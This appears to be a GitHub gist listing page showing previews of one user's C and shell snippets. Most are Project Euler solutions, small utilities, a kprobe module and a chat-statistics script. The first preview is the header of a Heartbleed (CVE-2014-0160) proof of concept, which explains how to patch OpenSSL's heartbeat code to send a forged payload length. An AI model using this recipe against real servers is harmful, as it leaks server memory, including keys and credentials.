Skip to content

Instantly share code, notes, and snippets.

@bojieli
bojieli / testssl.c
Created April 8, 2014 18:03
Heartbleed OpenSSL vulnerbility POC (CVE-2014-0160)
/* Heartbleed OpenSSL vulnerbility POC
* CVE-2014-0160
*
* You need to modify OpenSSL client code: ssl/t1_lib.c, function tls1_heartbeat
* Previous line: \/\* Payload length (18 bytes here) \*\/
* Old line: s2n(payload, p);
* New line: s2n(65536 - 100, p); // pretend that we have so many bytes of payload...
*
* To compile:
* gcc -g -o testssl -Iinclude -L. -lssl ssl/*.o testssl.c
@bojieli
bojieli / kprobe.c
Created April 28, 2014 14:29
detect link up/down and its initiator with kprobe
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/kprobes.h>
#include <linux/netdevice.h>
#include <linux/fs.h>
#include <linux/fs_struct.h>
/* For each probe you need to allocate a kprobe structure */
static struct kprobe kp = {
.symbol_name = "dev_change_flags",
@bojieli
bojieli / 12.c
Created October 25, 2014 05:20
Euler Project #12
#include<stdio.h>
static long get_factor_num(long n) {
int factor;
int exp_count = 0;
int ans = 1;
for (factor = 2; n > 1; factor++) {
exp_count = 0;
while (n % factor == 0) {
n /= factor;
++exp_count;
@bojieli
bojieli / 18.c
Created October 27, 2014 12:25
Project Euler #18
#include<stdio.h>
#define N 15
int main() {
int i, j, max = 0;
int a[N][N];
for (i=0; i<N; i++)
for (j=0; j<=i; j++)
scanf("%d", &a[i][j]);
for (i=1; i<N; i++) {
a[i][0] += a[i-1][0];
@bojieli
bojieli / 18-1.c
Created October 27, 2014 12:35
Maximum path sum I: enumerate
#include<stdio.h>
#define N 15
int main() {
int i, j, max = 0, state, total, pos;
int a[N][N];
for (i=0; i<N; i++)
for (j=0; j<=i; j++)
scanf("%d", &a[i][j]);
for (state=0; state<(1<<(N-1)); state++) {
total = 0;
@bojieli
bojieli / 21.c
Last active August 29, 2015 14:08
ProjectEuler: Amicable numbers
#include<stdio.h>
static long get_factor_num(long n) {
int factor;
int exp_count = 1;
int ans = 1;
for (factor = 2; n > 1; factor++) {
exp_count = 1;
while (n % factor == 0) {
n /= factor;
exp_count *= factor;
@bojieli
bojieli / WordNum.c
Created November 5, 2014 11:32
Word Count
#include<stdio.h>
int ischar(char now) {
return (now >= 'a' && now <= 'z' || now >= 'A' && now <= 'Z');
}
int main()
{
char last = 0, now = 0;
int count = 0;
while ((now = getchar()) != EOF) {
if (ischar(now) && !ischar(last))
@bojieli
bojieli / atof.c
Created November 12, 2014 14:46
String to double conversion
#include<stdio.h>
int main() {
double sign = 1, intpart = 0, decmod = 1;
int expsign = 1, exp = 0;
double ans;
int i;
char c;
c = getchar();
if (c == '-') {
@bojieli
bojieli / c_p_mn.c
Last active August 29, 2015 14:09
C(m,n) and P(m,n)
#include<stdio.h>
void c_p_mn_array(int m, int n, int result[2]) {
int i;
result[1] = 1;
for (i=m-n+1; i<=m; i++)
result[1] *= i;
result[0] = result[1];
for (i=2; i<=n; i++)
result[0] /= i;
}
@bojieli
bojieli / msg_stat.sh
Created December 6, 2014 16:13
Get per hour/date QQ message count and length in a two-people conversation
#!/bin/bash
# Usage: the first parameter should be the exported QQ message file
echo -e "Hour\tMyCnt\tMyLen\tMyAvglen\tHerCnt\tHerLen\tHer Avglen"; cat $1 | awk '/2014-/ { if($3=="boj") { split($2,time,":"); hour=time[1]; getline; me_len[hour]+=length($0); me_num[hour]++ } else { split($2,time,":"); hour=time[1]; getline; her_len[hour]+=length($0); her_num[hour]++ } } END {for(key in me_num) printf("%s\t%d\t%d\t%lf\t%d\t%d\t%lf\t\n", key, me_num[key], me_len[key], me_len[key] * 1.0 / me_num[key], her_num[key], her_len[key], her_len[key] * 1.0 / her_num[key] ) }' | sort -n
echo -e "Date\tMyCnt\tMyLen\tMyAvglen\tHerCnt\tHerLen\tHer Avglen"; cat $1 | awk '/2014-/ { if($3=="boj") { split($2,time,":"); hour=time[1]; getline; me_len[hour]+=length($0); me_num[hour]++ } else { split($2,time,":"); hour=time[1]; getline; her_len[hour]+=length($0); her_num[hour]++ } } END {for(key in me_num) printf("%s\t%d\t%d\t%lf\t%d\t%d\t%lf\t\n", key, me_num[key], me_len[key], me_len[key] * 1.0 / me_num[key], her_num[key], her_len[k